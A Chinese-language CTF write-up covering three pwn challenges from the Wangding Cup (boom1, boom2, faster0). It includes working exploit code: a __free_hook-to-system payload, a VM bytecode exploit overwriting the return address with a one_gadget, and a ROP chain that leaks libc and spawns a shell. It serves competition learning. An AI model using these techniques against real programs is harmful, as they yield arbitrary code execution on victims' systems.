前言

本周参加了两个比赛,一个是de1CTF,另一个是网鼎杯,把这两场比赛全部总结一下。

在网鼎杯中,有幸拿了一个签到pwn的一血,也是蛮开心的,其中boom1和boom2主要是两道类似于编译和执行的题目,boom1要求选手写一些高级语言,boom2要求选手写类似于机器码,总体来说都不难,最后的faster0也是这几次常出现的aeg题目,其实更准确的应该说是自动逆向的题目,和最后漏洞利用其实相关性不大。

将这些题目总结一下吧。

关键字: CTF pwn baby aeg 网鼎杯

boom1

题目描述

boom1打开后看起来内容很多,其实很多内容都不需要逆向。首先看到下面这个字符串时,已经大致猜到了什么:

image-20200511101514250

这就类似于高级语言预订的一些关键词,那么也就是,我们用这些东西来写程序就好了。

在后面的动态运行中,我发现了,需要定义main函数,以及需要分号作为结尾。而且函数只能运行一次:

image-20200511101754172

否则就会打印NOTALLOW。

思路

修改__free_hook为system,最后调用free(“/bin/sh”);

这个程序会把我们写好的程序的变量之类的,放置在malloc的区域,而此时malloc的大小是0x40000的,也就是这一空间必然是mmap出的新空间,且与libc是相邻的,那么我们就不需要知道libc的基地址,而直接通过偏移去得到__free_hook和system的地址。

pwn!!!

首先判断libc版本,在内存中,其实是有libc版本记录的地方,在peda中使用类似:find 2.23,这样的语句就可以找到,而且总是有一个地址是与0x8对齐的,因为我们这里计算的偏移都是以0x8为一个单位。最后我计算出这个偏移为471879。计算方法就是用定义的a的地址减去目标地址,最后除以8。

image-20200511102438106

可以看到,此时打印2.23,那么原创也可以测试出来就是2.23的libc版本。

最后用类似的方法计算出free_hook和system的值就好了:

image-20200511102639601

最后的payload:main(){int a;*(&a-180998)=&a-640393;free("/bin/sh");}

就这样,我也收获了签到题的一血,开心!!!:

image-20200511102904540

最后说一下,这个题payload真的太短了,太简单py了,感觉主办方需要考虑这个问题。

boom2

题目描述

boom2是需要逆向的一道题目:

我只说几个关键的逆向:

大体机制

本题主要是一个栈空间,附带一个寄存器。

我们输入指令的时候需要一个指令占64bit,也就是8个字节

push指令–13

直接p64(13)就是push。

image-20200511103128303

pop操作指令–后面全都是

直接p64(指令),就是寄存器和pop出值得运算

image-20200511103209604

给寄存器赋值的方式

image-20200511103333685

指令0:p64(0)+p64(offset) 把相对于bp为offset的地址赋值给寄存器

指令1:p64(1)+p64(num) 把num赋值给寄存器

给pop出的地址赋值

image-20200511103502751

直接p64(11)就是把pop出的一个地址,将寄存器的值赋值给pop出地址中的内容。

思路

有了这些东西,思路就很简单了,找到_environ的值,计算出EIP的值,更换成one_gadget。

exp 主体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
one = 0xf1147
ru("Input your code> ")
payload = p64(1)+p64(18446744073709551376)#tmp=-0xf0
payload += p64(13) #push -0xf0
payload += p64(0)+p64(18446744073709271013)#0x7f96e2df6010 get _environ address
payload += p64(9) #get _environ
payload += p64(25) #_environ-0xf0(EIP)
payload += p64(13) #push EIP
payload += p64(1)+p64(one)#tmp= onegadget offset
payload += p64(13) #push tmp
payload += p64(0)+p64(18446744073708775934)#libc_start
payload += p64(25) #tmp = libc_start+tmp
payload += p64(11) #edit EIP
debug()
s(payload)
getshell()

最后:

image-20200511103849331

faster0

题目描述

这个题目就是很多个路径,而且有回路,angr直接去跑是不可以的,这道题由于比较简单,所以使用angr就有点杀鸡牛刀的感觉了,直接objdump出某个函数,然后分析这个函数的分支就可以了,用disasm也是可以的,最后就是一个栈溢出了,这里我就把前面寻找路径的exp贴出来,最后的栈溢出,过于基础,就不提了。

思路

首先给出一个objdump 某个函数的脚本,我们主要利用这个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

vmlinux=$1
symbol=$2

if [ -z "$vmlinux" ]; then
echo "usage : $0 vmlinux symbol"
exit
fi

startaddress=$(nm -n $vmlinux | grep "\w\s$symbol" | awk '{print "0x"$1;exit}')
endaddress=$(nm -n $vmlinux | grep -A1 "\w\s$symbol" | awk '{getline; print "0x"$1;exit}')

if [ -z "$symbol" ]; then
echo "dump all symbol"
objdump -d $vmlinux
else
echo "start-address: $startaddress, end-address: $endaddress"
objdump -d $vmlinux --start-address=$startaddress --stop-address=$endaddress
fi

最后解析的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
num=0
result = ""
while(max!=100):
fun_name = "func"+str(max).rjust(3,"0")
os.system("./objdump_function.sh "+elf_name+" "+fun_name+" > "+fun_name)
fun_content = open(fun_name,"r").read()
fun_content = fun_content.split('\n')
max_address = 0
list =0
num+=1
for i in fun_content:
if ("callq" in i) and("func" in i):
tmp = i.split(" <func")
a = tmp[1].split(">")[0]
if int(a)==num:
num =int(a)
#max_address = int("0x"+tmp[0].split("callq ")[1],16)
max_list = list
list +=1
print(max_list)
result+=str(max_list)
print(result)

得到如下解析结果:

image-20200511104510265

最后由exp输入给程序得到:

image-20200511104533332

最后就是一个简单的栈溢出,直接用ROP就OK了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p = process(elf_name)
for i in result:
p.send(i)
p.send("\n")
pop_rsi_p = 0x406011
pop_rdi = 0x0000000000406013
pppp = 0x000000000040600c
payload = "a"*0xd8+p64(pop_rdi)+p64(1)+p64(pop_rsi_p)+p64(0x609020)+p64(1)+p64(0x40063C)+p64(pop_rdi)+p64(0x609018)+p64(pop_rsi_p)+p64(0x16)+p64(0x8)+p64(0x4007A7)+p64(pppp)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x40063C)
p.recvuntil("WOW,U R GREAT !\n")
p.send(payload)
address = u64(p.recv(8)) - 0x884d0
system_address=address +0xe569f
p.send(p64(system_address))
p.interactive()

最后得到:

image-20200511140637941

写在最后

如有错误欢迎指正:sofr@foxmail.com

Comments

⬆︎TOP